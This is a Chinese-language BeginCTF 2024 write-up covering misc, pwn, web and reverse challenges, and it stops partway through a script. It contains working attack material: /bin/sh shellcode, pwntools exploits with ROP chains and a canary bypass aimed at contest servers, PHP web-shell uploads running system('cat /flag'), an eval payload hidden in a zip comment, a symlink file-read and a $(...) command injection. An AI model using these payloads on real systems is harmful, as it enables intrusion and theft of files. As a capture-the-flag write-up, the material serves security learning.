# BeginCTF 2024 Writeup
# 前言
被我吃了
# Misc
# 下一站上岸
写出两个图形的接触点个数,得到 221022201122120120111011110222012101
0 是间隔,1 是 . ,2 是 - , 替换一下摩斯解一下即可,提交 flag 要转成小写
# CCCC
题目只允许使用 $,01234678;=@ACDEGHJKLNOPRTUZ[]acdgimnorstuwyz{}
来构造代码
学习一下这篇博客 when-is-main-not-a-function , 我们可以尝试构造一段代码直接 get shell
但是因为过滤了很多字符,对于数字 5 和 9 的过滤,可以把他转为八进制
实际转完后的代码里还是有很多 5 和 9, 这就要求 shellcode 必须要控制的很好了 (nop 的合理使用), 构造出如下代码
void main() | |
{ | |
asm( | |
"add ecx,1;" | |
"mov rdx, 0xf0f0f0f0f0f0f0f;" | |
"add ebx,1;" | |
"nop;" | |
"add ecx,1;" | |
"push rdx;" | |
"nop;" | |
"add rcx,1;" | |
"mov rdx, 0xf0f0f0f0f0f0f0f ^ 0x68732f6e69622f;" | |
"add rcx,3;" | |
"nop;" | |
"xor [rsp], rdx;" | |
"nop;" | |
"mov rdi, rsp;" | |
"xor edx, edx;" | |
"xor esi, esi;" | |
"xor rax,rax;" | |
"nop;" | |
"xor rax,0x3b;" | |
"syscall;" | |
); | |
} |
编译的时候要加个 -masm=intel
参数,最终 payload
const int main[]={1208074627,01703607672,01703607417,0160701417,0160301620,020322110122,027222000701,014131466440,01731676040,63013704,338774160,2303234084,06164430747,030014244366,036040644220,022001207473}; |
get flag
$ pwd > /dev/stdout | |
/tmp | |
$ ls .. > /dev/stdout | |
bin dev home lib64 mnt proc run srv tmp var | |
boot etc lib media opt root sbin sys usr | |
$ ls /home > /dev/stdout | |
ctf | |
$ ls /home/ctf > /dev/stdout | |
flag_F3E189706782EFC6D8635593572EF2A5A2471190933BCB0D2480E54F4D705646 | |
server.py | |
$ cat /home/ctf/flag_F3E189706782EFC6D8635593572EF2A5A2471190933BCB0D2480E54F4D705646 > /dev/stdout | |
flag{0ld_Gcc_HAV3_w3rl0D_tr1CK_0F_rOda74_ANd_yoU_4LsO_got_W0nD3RfUL_sHEIICOdE_5k1Il_NICe_JOb_1cfddbc1ada7} |
# 你知道中国文化嘛 1.0
base32 解码,但是有 5 个地方被修改了,可以根据解码后的八卦再解码的社会主义核心价值观来修复
import base64 | |
# 修复,解 base32 | |
s = "4KMLHYUYWTRJRNPCTCZOFGFQ4KMLLYUYWLRJRNPCTC2OFGFT4KMLJYUYW3RJRMXCTC26FGFV4KMLFYUYWTRJRM7CTCZ6FGFU4KMLNYUYWLRJRMXCTC3OFGFS4KMLBYUYW7RJRM7CTC2OFGFW4KMLFYUYWPRJRMHCTCZOFGFR4KMLNYUYWPRJRNHCTC26FGFS4KMLBYUYWXRJRMXCTC26FGFU4KMLHYUYWTRJRNXCTCZOFGFV4KMLLYUYWLRJRNHCTCZ6FGFT4KMLJYUYWXRJRMXCTCZOFGFS4KMLFYUYWHRJRNHCTCZ6FGFV4KMLBYUYWLRJRNXCTCYOFGFS4KMLFYUYWDRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNPCTCZOFGFX4KMLDYUYWLRJRNXCTCZ6FGFT4KMLJYUYW7RJRMXCTC26FGFV4KMLFYUYWHRJRMPCTCZ6FGFU4KMLNYUYWLRJRMXCTC3OFGFS4KMLBYUYW7RJRM7CTC2OFGFW4KMLFYUYWPRJRMHCTCZOFGFR4KMLNYUYWPRJRNHCTC26FGFS4KMLDYUYW7RJRMXCTCY6FGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLNYUYWLRJRMHCTC2OFGFT4KMLJYUYW3RJRMXCTC3OFGFT4KMLFYUYWLRJRNPCTCZ6FGFU4KMLNYUYWLRJRNXCTCZOFGFS4KMLPYUYWPRJRM7CTC2OFGFV4KMLFYUYWLRJRMXCTCZOFGFR4KMLJYUYWPRJRNPCTCYOFGFS4KMLNYUYWDRJRMXCTCZOFGFQ4KMLHYUYWTRJRNXCTCZOFGFW4KMLHYUYWLRJRMXCTC26FGFT4KMLJYUYW3RJRMXCTC3OFGFS4KMLFYUYW7RJRM7CTCZ6FGFU4KMLLYUYWLRJRMHCTC26FGFS4KMLLYUYWTRJRM7CTC2OFGFW4KMLFYUYWXRJRNPCTCZOFGFU4KMLHYUYWPRJRNHCTC3OFGFS4KMLFYUYW3RJRMXCTCYOFGFX4KMLHYUYWTRJRNXCTCZOFGFT4KMLBYUYWLRJRMPCTC3OFGFT4KMLJYUYWXRJRMXCTCYOFGFV4KMLFYUYWXRJRNHCTCZ6FGFU4KMLNYUYWLRJRNPCTC26FGF$4KMLJYUYWPRJRM7CTC2OFGFV4KMLFYUYW7RJRMPCTCZOFGFW4KMLHYUYWPRJRNHCTC36FGFS4KMLLYUYWXRJRMXCTCY6FGFR4KMLHYUYWTRJRNPCTCZOFGFQ4KMLLYUYWLRJRNPCTC2OFGFT4KMLJYUYW3RJRMXCTC26FGFV4KMLFYUYWTRJRM7CTCZ6FGFU4KMLLYUYWLRJRN7CTCY6FGFS4KMLNYUYWPRJRM7CTC2OFGFX4KMLFYUYWXRJRNPCTCZOFGFR4KMLDYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLJYUYW7RJRMXCTCY6FGFQ4KMLFYUYW3RJRMPCTCZ6FGFU4KMLLYUYWLRJRM7CTCZ6FGFS4KMLPYUYWXRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNPCTCZOFGFX4KMLDYUYWLRJRNXCTCZ6FGFT4KMLJYUYW7RJRMXCTC26FGFV4KMLFYUYWHRJRMPCTCZ6FGFU4KMLLYUYWLRJRMXCTCZOFGFS4KMLDYUYWTRJRM7CTC26FGFQ4KMLFYUYW3RJRMHCTCZOFGFS4KMLBYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLJYUYWXRJRMXCTCYOFGFV4KMLFYUYWXRJRNHCTCZ6FGFU4KMLNYUYWLRJRNPCTC26FGFS4KMLJYUYWPRJRM7CTC26FGFQ4KMLFYUYWDRJRN&CTCZOFGFV4KMLFYUYWPRJRNHCTC36FGFS4KMLFYUYWTRJRMXCTC3OFGFR4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC2OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLPYUYWLRJRMPCTCYOFGFS4KMLNYUYWHRJRM7CTC2OFGFV4KMLFYUYWPRJRM7CTCZOFGFX4KMLLYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLJYUYWXRJRMXCTC26FGFX4KMLFYUYWHRJRNHCTCZ6FGFU4KMLLYUYWLRJRN&CTC2OFGFS4KMLPYUYWLRJRM7CTC2OFGFV4KMLFYUYWLRJRMXCTCZOFGFR4KMLJYUYWPRJRNPCTCYOFGFS4KMLNYUYWDRJRMXCTCZOFGFQ4KMLHYUYWTRJRN7CTCZOFGFR4KMLBYUYWLRJRNXCTCY6FGFT4KMLJYUYWXRJRMXCTCZ6FGFT4KMLFYUYW7RJRNPCTCZ6FGFU4KMLLYUYWLRJRMHCTC26FGFS4KMLLYUYWTRJRM7CTC2OFGFW4KMLFYUYWXRJRNPCTCZOFGFU4KMLHYUYWPRJRNHCTC26FGFS4KMLBYUYWXRJRMXCTC26FGFU4KMLHYUYWTRJRNXCTCZOFGFV4KMLLYUYWLRJRNHCTCZ6FGFT4KMLJYUYWXRJRMXCTCYOFGFV4KMLFYUYWXRJRNHCTCZ6FGFU4KMLNYUYWLRJRNPCTC26FGFS4KMLJYUYWPRJRM7CTC2OFGFV4KMLFYUYWLRJRMXCTCZOFGFR4KMLJYUYWPRJRNPCTCYOFGFS4KMLNYUYWDRJRMXCTCZOFGFQ4KMLHYUYWTRJRNPCTCZOFGFQ4KMLLYUYWLRJRNPCTC2OFGFT4KMLJYUYW3RJRMXCTC26FGFV4KMLFYUYWTRJRM7CTCZ6FGFU4KMLNYUYWLRJRNXCTCZ6FGFS4KMLFYUYWXRJRM7CTC2OFGFW4KMLFYUYW3RJRMXCTCZOFGFX4KMLHYUYWPRJRNHCTC26FGFS4KMLBYUYWXRJRMXCTC26FGFU4KMLHYUYWTRJRNXCTCZOFGFV4KMLLYUYWLRJRNHCTCZ6FGFT4KMLJYUYWXRJRMXCTC36FGFR4KMLFYUYW3RJRM7CTCZ6FGFU4KMLPYUYWLRJRNPCTC26FGFS4KMLDYUYWHRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWXRJRMHCTCZOFGFQ4KMLPYUYWLRJRNPCTCZOFGFT4KMLJYUYW7RJRMXCTCZOFGFU4KMLFYUYW3RJRMPCTCZ6FGFU4KMLNYUYWLRJRMXCTC3OFGFS4KMLBYUYW7RJRM7CTC2OFGFW4KMLFYUYWPRJRMHCTCZOFGFR4KMLNYUYWPRJRNPCTCYOFGFS4KMLLYUYW7RJRMXCTCZ6FGFS4KMLHYUYWTRJRNHCTCZOFGFX4KMLPYUYWLRJRNHCTCY6FGFT4KMLJYUYWXRJRMXCTCZOFGFS4KMLFYUYWHRJRNHCTCZ6FGFV4KMLBYUYWLRJRNXCTCYOFGFS4KMLFYUYWDRJRM7CTC2OFGFV4KMLFYUYWLRJRMXCTCZOFGFR4KMLJYUYWPRJRNPCTCYOFGFS4KMLNYUYWDRJRMXCTCZOFGFQ4KMLHYUYWTRJRNXCTCZOFGFS4KMLNYUYWLRJRMHCTC36FGFT4KMLJYUYW3RJRMXCTCZ6FGFQ4KMLFYUYWHRJRNXCTCZ6FGFU4KMLLYUYWLRJRMHCTC26FGFS4KMLLYUYWTRJRM7CTC2OFGFW4KMLFYUYWXRJRNPCTCZOFGFU4KMLHYUYWPRJRNHCTC26FGFS4KMLPYUYWHRJRMXCTC3OFGFT4KMLHYUYWTRJRN7CTCZOFGFV4KMLLYUYWLRJRMPCTCY6FGFT4KMLJYUYWXRJRMXCTCYOFGFV4KMLFYUYWXRJRNHCTCZ6FGFU4KMLNYUYWLRJRNPCTC26FGFS4KMLJYUYWPRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC2OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLNYUYWLRJRMXCTC26FGFS4KMLLYUYWTRJRM7CTC2OFGFU4KMLFYUYW7RJRMHCTCZOFGFT4KMLFYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLLYUYWDRJRMXCTCYOFGFX4KMLFYUYWXRJRMXCTCZ6FGFU4KMLPYUYWLRJRMXCTC2OFGFS4KMLNYUYWHRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNPCTCZOFGFQ4KMLLYUYWLRJRNPCTC2OFGFT4KMLJYUYW3RJRMXCTC26FGFV4KMLFYUYWTRJRM7CTCZ6FGFU4KMLNYUYWLRJRNXCTCZ6FGFS4KMLFYUYWXRJRM7CTC2OFGFW4KMLFYUYW3RJRMXCTCZOFGFX4KMLHYUYWPRJRNHCTC26FGFS4KMLDYUYW7RJRMXCTCY6FGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLNYUYWLRJRMHCTC2OFGFT4KMLJYUYW3RJRMXCTC3OFGFT4KMLFYUYWLRJRNPCTCZ6FGFU4KMLNYUYWLRJRNXCTCZOFGFS4KMLPYUYWPRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNXCTCZOFGFS4KMLLYUYWLRJRNPCTC2OFGFT4KMLJYUYWTRJRMXCTC36FGFQ4KMLFYUYWPRJRMXCTCZ6FGFU4KMLNYUYWLRJRNXCTCZ6FGFS4KMLFYUYWXRJRM7CTC2OFGFW4KMLFYUYW3RJRMXCTCZOFGFX4KMLHYUYWPRJRNHCTC26FGFS4KMLDYUYW7RJRMXCTCY6FGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLNYUYWLRJRMHCTC2OFGFT4KMLJYUYWXRJRMXCTC36FGFR4KMLFYUYW3RJRM7CTCZ6FGFU4KMLPYUYWLRJRNPCTC26FGFS4KMLDYUYWHRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNXCTCZOFGFW4KMLBYUYWLRJRMXCTCY6FGFT4KMLJYUYWTRJRMXCTC36FGFQ4KMLFYUYW7RJRM7CTCZ6FGFU4KMLLYUYWLRJRMXCTCZOFGFS4KMLDYUYWTRJRM7CTC26FGFQ4KMLFYUYW3RJRMHCTCZOFGFS4KMLBYUYWPRJRNHCTC3OFGFS4KMLNYUYWPRJRMXCTCZOFGFV4KMLHYUYWTRJRNXCTCZOFGFW4KMLFYUYWLRJRN7CTCZ6FGFT4KMLJYUYW3RJRMXCTCZOFGFW4KMLFYUYWDRJRN7CTCZ6FGFU4KMLNYUYWLRJRM7CTCYOFGFS4KMLDYUYW3RJRM7CTC26FGFQ4KMLFYUYWXRJRN7CTCZOFGFT4KMLFYUYWPRJRNHCTC2OFGFS4KMLPYUYW7RJRMXCTC2OFGFR4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC2OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLLYUYWLRJRMXCTCZOFGFS4KMLDYUYWTRJRM7CTC26FGFQ4KMLFYUYW3RJRMHCTCZOFGFS4KMLBYUYWPRJRNHCTC3OFGFS4KMLNYUYWDRJRMXCTCZOFGFR4KMLHYUYWTRJRNHCTCZOFGFX4KMLBYUYWLRJRN7CTCZ6FGFT4KMLJYUYWXRJRMXCTCZOFGFS4KMLFYUYWHRJRNHCTCZ6FGFV4KMLBYUYWLRJRNXCTCYOFGFS4KMLFYUYWDRJRM7CTC2OFGFX4KMLFYUYWHRJRMHCTCZOFGFW4KMLDYUYWPRJRNHCTC26FGFS4KMLHYUYWPRJRMXCTC36FGFV4KMLHYUYWTRJRNXCTCZOFGFS4KMLNYUYWLRJRMHCTC36FGFT4KMLJYUYW3RJRMXCTCZ6FGFQ4KMLFYUYWHRJRNXCTCZ6FGFV4KMLBYUYWLRJRNPCTC36FGFS4KMLHYUYWLRJRM7CTC2OFGFU4KMLFYUYW7RJRN7CTCZOFGFU4KMLDYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLJYUYWXRJRMXCTCZOFGFS4KMLFYUYWHRJRNHCTCZ6FGFV4KMLBYUYWLRJRNXCTCYOFGFS4KMLFYUYWDRJRM7CTC2OFGFW4KMLFYUYW3RJRMHCTCZOFGFS4KMLDYUYWPRJRNHCTC2OFGFS4KMLPYUYWDRJRMXCTC36FGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC2OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLNYUYWLRJRMXCTC3OFGFS4KMLBYUYW7RJRM7CTC2OFGFW4KMLFYUYWPRJRMHCTCZOFGFR4KMLNYUYWPRJRNHCTC26FGFS4KMLBYUYWXRJRMXCTC26FGFU4KMLHYUYWTRJRNXCTCZOFGFV4KMLLYUYWLRJRNHCTCZ6FGFT4KMLJYUYWXRJRMXCTCY6FGFX4KMLFYUYWHRJRM7CTCZ6FGFU4KMLLYUYWLRJRMXCTC3OFGFS4KMLBYUYWTRJRM7CTC2OFGFX4KMLFYUYWHRJRMHCTCZOFGFW4KMLDYUYWPRJRNHCTC26FGFS4KMLHYUYWPRJRMXCTC36FGFV4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC@OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLPYUYWLRJRMPCTCYOFGFS4KMLNYUYWHRJRM7CTC2OFGFV4KMLFYUYWPRJRM7CTCZOFGFX4KMLLYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLJYUYW3RJRMXCTC3OFGFQ4KMLFYUYWLRJRMPCTCZ6FGFU4KMLJYUYWLRJRN7CTCYOFGFS4KMLPYUYWPRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC2OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLLYUYWLRJRMHCTC26FGFS4KMLLYUYWTRJRM7CTC@OFGFW4KMLFYUYWXRJRNPCTCZOFGFU4KMLHYUYWPRJRNHCTC26FGFS4KMLPYUYWHRJRMXCTC3OFGFT4KMLHYUYWTRJRN7CTCZOFGFV4KMLLYUYWLRJRMPCTCYQ====" | |
fix = [ | |
"4KMLNYUYWLRJRNPCTC26FGFS", | |
"4KMLFYUYWDRJRN7CTCZOFGFV", | |
"4KMLLYUYWLRJRN7CTC2OFGFS", | |
"4KMLFYUYWLRJRMPCTC2OFGFT", | |
"4KMLLYUYWTRJRM7CTC2OFGFW" | |
] | |
x = 0 | |
bg = "" | |
for i in range(335): | |
a = s[24 * i : 24 * (i + 1)] | |
try: | |
bg += base64.b32decode(a).decode() | |
except: | |
bg += base64.b32decode(fix[x]).decode() | |
x = x + 1 | |
# 解八卦: https://blog.csdn.net/lkjlsj/article/details/103742129 | |
def bArrToStr(bArr): | |
nByte = b'' | |
for b in bArr: | |
nByte += chr(int(b,base=8)).encode('raw_unicode_escape') | |
return bytes.decode(nByte) | |
def to8bArr(baguaStr): | |
code = {'☰':'0', # 乾 | |
'☱':'1', # 兑 | |
'☲':'2', # 离 | |
'☳':'3', # 震 | |
'☴':'4', # 巽 | |
'☵':'5', # 坎 | |
'☶':'6', # 艮 | |
'☷':'7', # 坤 | |
} | |
bArr = [] | |
temp = [] | |
for s in baguaStr: | |
temp.append(code[s]) | |
tempStr = '' | |
for i in range(len(temp)): | |
tempStr += temp[i] | |
if i % 3 == 2: | |
bArr.append('0o'+tempStr) | |
tempStr = '' | |
return bArr | |
arr = to8bArr(bg) | |
res = bArrToStr(arr) | |
print(res, end="") |
然后社会主义核心价值观解密,最后栅栏 W 型 5 栏解密得到的就是 flag 了
# Tupper
写个脚本把每个文件的内容按顺序提取出来,解码得到一堆数字
搜题目名字,在线工具直接秒了
# real check in
base64 解码即可
# where is crazyman v1.0
Google 识图,秋叶原
# where is crazyman v2.0
Google 识图,Boulevard World
# where is crazyman v3.0
Google Map, 找到 Boudl Al Munsiyah Hotel,旁边有个星巴克,评论区里有段 base64 密文,解码即可
# beginCTF 问卷
填写问卷即可
# Crypto
啊嘞,数学不好捏,一题都不会😥
# Pwn
# unhappy
过滤了 hapyHAPY
这几个字符,可以用异或来绕过,构造一段 shellcode
刚开始试了直接 get shell,但是发现没有权限,试了很多方法都没法直接提权
ls -a
后发现 unhappy 自带 s 权限,那么就可以修改 shellcode 直接 get flag 了
from pwn import * | |
context(arch="amd64", os="linux", log_level="debug") | |
r = remote("101.32.220.189", 30172) | |
my_asm = """ | |
mov edi, 0xf3f3f3f3 | |
mov ebx, 0x9d9a91dc | |
xor edi, ebx | |
mov dword ptr [rax], edi | |
mov edi, 0xf3f3f3f3 | |
mov ebx, 0x879290dc | |
xor edi, ebx | |
mov dword ptr [rax+0x4], edi | |
mov edi, 0xf3f3f3f3 | |
mov ebx, 0x9f95dcf3 | |
xor edi, ebx | |
mov DWORD PTR [rax+0x8], edi | |
mov edi, 0xf3f3f3f3 | |
mov ebx, 0xf3f39492 | |
xor edi, ebx | |
mov DWORD PTR [rax+0xc], edi | |
xor edi, edi | |
xor edi, eax | |
xor esi, esi | |
xor esi, edi | |
add esi, 0x9 | |
xor edx, edx | |
mov DWORD PTR [rdi+0x10], edi | |
mov DWORD PTR [rdi+0x14], edx | |
mov DWORD PTR [rdi+0x18], esi | |
mov DWORD PTR [rdi+0x1c], edx | |
mov DWORD PTR [rdi+0x20], edx | |
mov DWORD PTR [rdi+0x24], edx | |
lea esi,[rdi+0x10] | |
mov eax, 0x3b | |
syscall | |
ret | |
""" | |
shellcode = asm(my_asm) | |
r.sendline(shellcode) | |
r.interactive() |
# one_byte
nc 一下,输入很长很长很长一段垃圾字符,你会发现 flag 全出来了 hhh
# gift_rop
ret2syscall, ROPgadget 找到合适的 gadget,构造 rop 链即可
这里可以学习一下 -> ctf-wiki, 注意一下 32 位和 64 位的区别
关闭了标准输出流,用 cat flag 1>&0
就 ok 了
from pwn import * | |
context(arch="amd64", os="linux", log_level="debug") | |
#p = process("./gift_rop") | |
p = remote("101.32.220.189", 31285) | |
# pop rax ; ret | |
pop_rax_ret = 0x448077 | |
# pop rsi ; ret | |
pop_rsi_ret = 0x409f9e | |
# pop rdx ; pop rbx ; ret | |
pop_rdx_rbx_ret = 0x47f20b | |
# pop rdi ; ret | |
pop_rdi_ret = 0x401f2f | |
syscall_ret = 0x447635 | |
# /bin/sh | |
binsh = 0x4c50f0 | |
# gdb.attach(p) | |
payload = b"a"*0x28 | |
payload += p64(pop_rax_ret) + p64(0x3b) | |
payload += p64(pop_rdx_rbx_ret) + p64(0) + p64(0) | |
payload += p64(pop_rsi_ret) + p64(0) | |
payload += p64(pop_rdi_ret) + p64(binsh) | |
payload += p64(syscall_ret) | |
p.sendline(payload) | |
p.sendline(b"cat flag 1>&0") | |
p.interactive() |
# ezpwn
$ 2 | |
$ ' $($(ls bin) flag) |
# cat
很明显的栈溢出
sendline 发送 56 个垃圾字节,末尾带的 \n
刚好覆盖掉 canary 的 0 字节
strcpy 后末尾会有一个 0 字节,可以用来恢复 canary 的 0 字节
知道怎么绕过 canary 后,只要构造 rop 来 ret2text 就好了
from pwn import * | |
context(arch="amd64", os="linux", log_level="debug") | |
#p = process("./cat") | |
p = remote("101.32.220.189", 31305) | |
backdoor = 0x4011FE | |
#gdb.attach(p, "bp 0x4011FE") | |
#pause() | |
# 构造 rop,填充两个垃圾字节,溢出到返回地址 | |
p.send(b"A"*2 + p64(backdoor)) | |
pause() | |
# 恢复 canary 的 0 字节 | |
p.send(b"B"*24) | |
pause() | |
# 覆盖 canary 的 0 字节 | |
p.sendline(b"C"*56) | |
pause() | |
p.interactive() |
# Web
# zupload
?action=/flag |
# zupload-pro
直接传个马上去
import requests | |
files = {'file':open('1.php','rb')} | |
res = requests.post("http://101.32.220.189:31328/", files=files).text | |
print(res) |
/uploads/1.php?cmd=system("cat /flag"); |
# zupload-pro-plus
后端加了点验证,文件名改成 1.zip.php
import requests | |
files = {'file':open('1.php','rb')} | |
res = requests.post("http://101.32.220.189:31328/", files=files).text | |
print(res) |
/uploads/1.zip.php?cmd=system("cat /flag"); |
# zupload-pro-plus-max
在 zip 的注释里写木马 <?php @eval("system('cat /flag');") ?>
,上传
?action=uploads/1.zip |
# zupload-pro-plus-max-ultra
压缩包软链接利用
$ ln -s /flag | |
$ zip --symlinks flag.zip flag |
/uploads/flag
就下载下来 flag 了
# zupload-pro-plus-max-ultra-premium
还是可以压缩包软链接利用
# zupload-pro-plus-enhanced
直接绕过前端传个马,同 zupload-pro
# zupload-pro-revenge
直接绕过前端传个马,同 zupload-pro
# Reverse
# 红白机
网上搜个 6502 在线编译的秒了
flag{6502_I_LOVE_u}
# xor
不难,就是分析起来要花点时间
data6 = bytearray.fromhex("606167687b5e62767577546f6f61686c") | |
data5 = bytearray.fromhex("596f6350746d7969696a6a7c656b2770") | |
a4 = bytearray.fromhex("3431383033383733363235393031333600") | |
a5 = bytearray.fromhex("3330393236303636333237383739343700") | |
for i in range(16): data5[i] ^= a4[16 - i] | |
for i in range(16): data6[i] ^= a5[16 - i] | |
for i in range(16): data5[i] ^= a4[i] | |
for i in range(16): data6[i] ^= a5[i] | |
for i in range(16): data5[i] ^= a5[16 - i] | |
for i in range(16): data6[i] ^= a4[16 - i] | |
data1 = bytearray.fromhex("3633323930373934323037373135353800") | |
data2 = bytearray.fromhex("3736373936323133383637333530303000") | |
for i in range(16): data5[i] ^= a5[i] | |
for i in range(16): data6[i] ^= a4[i] | |
data4 = data5 | |
data3 = data6 | |
for i in range(16): data3[i] ^= data2[16 - i] | |
for i in range(16): data4[i] ^= data1[16 - i] | |
for i in range(16): data3[i] ^= data1[16 - i] | |
for i in range(16): data4[i] ^= data2[16 - i] | |
for i in range(16): data3[i] ^= data2[i] | |
for i in range(16): data4[i] ^= data1[i] | |
for i in range(16): data3[i] ^= data1[i] | |
for i in range(16): data4[i] ^= data2[i] | |
flag = data3 + data4 | |
print(flag.decode()) |
flag{Virus_gonna_be_terminated!}
# superguesser
静态分析找到了关键函数,猜出来的
data = bytearray.fromhex("5151525f59435d5f59495a59562e261d2a371a27291728242a3825213d0f323a3c3d36332a") | |
for i in range(37): | |
print(chr(data[i] ^ (i + 51)), end="") |
begin{debugging_is_an_anathor_choice}
# 俄语学习
这题不难,耐心分析一下就好了,就是个 rc4
#include <stdio.h> | |
#include <string.h> | |
void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len) | |
{ | |
int i = 0, j = 0; | |
char k[256] = {0}; | |
unsigned char tmp = 0; | |
for (i = 0; i < 256; i++) | |
{ | |
s[i] = i; | |
k[i] = key[i % Len]; | |
} | |
for (i = 0; i < 256; i++) | |
{ | |
j = (j + s[i] + k[i]) % 256; | |
tmp = s[i]; | |
s[i] = s[j]; | |
s[j] = tmp; | |
} | |
} | |
void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len) | |
{ | |
int i = 0, j = 0, t = 0; | |
unsigned long k = 0; | |
unsigned char tmp; | |
for (k = 0; k < Len; k++) | |
{ | |
i = (i + 1) % 256; | |
j = (j + s[i]) % 256; | |
tmp = s[i]; | |
s[i] = s[j]; | |
s[j] = tmp; | |
t = (s[i] + s[j]) % 256; | |
Data[k] ^= s[t]; | |
} | |
} | |
unsigned char enc[] = { | |
0x2b, 0x69, 0x26, 0x5b, 0x40, 0x59, 0x3a, 0x67, | |
0x38, 0x5b, 0x26, 0x6c, 0x24, 0x66, 0x38, 0x53, | |
0x38, 0x76, 0x24, 0x59, 0x26, 0x65, 0x3e, 0x7b}; | |
unsigned char key[] = | |
{ | |
0x35, 0x6D, 0x35, 0x64, 0x35, 0x77, 0x35, 0x64, 0x35, 0x62, | |
0x35, 0x6E, 0x35, 0x6D, 0x35, 0x64, 0x35, 0x77, 0x35, 0x64, | |
0x35, 0x62, 0x35, 0x6E, 0x35, 0x6D, 0x35, 0x64, 0x35, 0x77, | |
0x35, 0x64, 0x35, 0x62, 0x35, 0x6E, 0x8E, 0x00 | |
}; | |
int main() | |
{ | |
unsigned char s[256] = {0}; | |
unsigned char s2[256] = {0}; | |
rc4_init(s, key, strlen(key)); | |
memcpy(s2, s, 256); | |
rc4_crypt(s2, enc, strlen(enc)); | |
rc4_crypt(s, enc, strlen(enc)); | |
for (size_t i = 0;i < strlen(enc); ++i) | |
{ | |
unsigned char chr = enc[i] + 112 - key[i]; | |
printf("%c", chr); | |
} | |
} |
flag{Russian_is_so_easy}
# ezpython
pyinstaller 打包的 exe,用 3.8 版本的 python,调用 pyinstxtractor.py 解包程序
pycdc 解 ezpython.pyc
, 发现是个 sm4 加密,缺少 key 和 enc
继续解一下 PYZ-00.pyz_extracted/secret.pyc
,惊喜的发现里面就是你想要的
哎嘿,你以为可以解密了?Nonono!
继续解一下 PYZ-00.pyz_extracted/gmssl/sm4.pyc
一点点对比,好嘛,setkey 那里对 key 做了 xor 37
的加密
然后搓代码解密就好喽
from gmssl import sm4 | |
import base64 | |
key = list('BeginCTFBeginCTF') | |
key = "".join([chr(ord(i) ^ 37) for i in key]) | |
print(key) | |
enc = 'JmjJEAJGMT6F9bmC+Vyxy8Z1lpfaJzdEX6BGG/qgqUjUpQaYSON1CnZyX9YXTEClSRYm7PFZtGxmJw6LPuw1ww==' | |
def pad_pkcs7(data): | |
'''PKCS#7填充''' | |
padding_len = 16 - len(data) % 16 | |
padding = bytes([ | |
padding_len] * padding_len) | |
return data + padding | |
def unpad_pkcs7(padded_data): | |
'''PKCS#7去填充''' | |
padding_len = padded_data[-1] | |
return padded_data[:-padding_len] | |
class SM4: | |
def __init__(self): | |
self.gmsm4 = sm4.CryptSM4() | |
